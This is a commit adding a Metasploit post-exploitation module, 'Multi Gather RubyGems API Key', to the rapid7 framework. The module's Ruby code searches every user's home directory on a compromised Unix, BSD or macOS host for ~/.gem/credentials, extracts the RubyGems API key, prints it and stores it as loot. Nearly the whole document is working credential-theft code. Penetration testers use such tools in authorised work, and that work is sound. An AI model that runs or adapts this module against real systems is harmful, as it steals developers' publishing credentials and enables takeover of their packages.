Land rapid7#4645, @claudijd's RubyGems API key stealer

Dedicating this merge to @todb-r7. :-)

Author: wvu

modules/post/multi/gather/rubygems_api_key.rb

@@ -0,0 +1,67 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'yaml'
+
+class Metasploit4 < Msf::Post
+
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'         => 'Multi Gather RubyGems API Key',
+      'Description'  => %q{
+        This module obtains a user's RubyGems API key from ~/.gem/credentials.
+      },
+      'Author'       => [
+        'Jonathan Claudius <jclaudius[at]trustwave.com>',
+        'Brandon Myers <bmyers[at]trustwave.com>'
+      ],
+      'Platform'     => %w{bsd linux osx unix},
+      'SessionTypes' => %w{shell},
+      'License'      => MSF_LICENSE
+    ))
+  end
+
+  def run
+    print_status('Finding ~/.gem/credentials')
+    paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
+    paths = paths.select { |f| file?(f) }
+
+    if paths.empty?
+      print_error('No users found with a ~/.gem/credentials file')
+      return
+    end
+
+    download_key(paths)
+  end
+
+  def download_key(paths)
+    print_status("Looting #{paths.count} files")
+    paths.each do |path|
+      path.chomp!
+      next if ['.', '..'].include?(path)
+
+      rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
+      next unless rubygems_api_key
+
+      print_good("Found a RubyGems API key: #{rubygems_api_key}")
+
+      loot_path = store_loot(
+        'rubygems.apikey',
+        'text/plain',
+        session,
+        rubygems_api_key,
+        'rubygems_api_key.txt',
+        'RubyGems API key'
+      )
+
+      print_good("RubyGems API key stored in #{loot_path}")
+    end
+  end
+
+end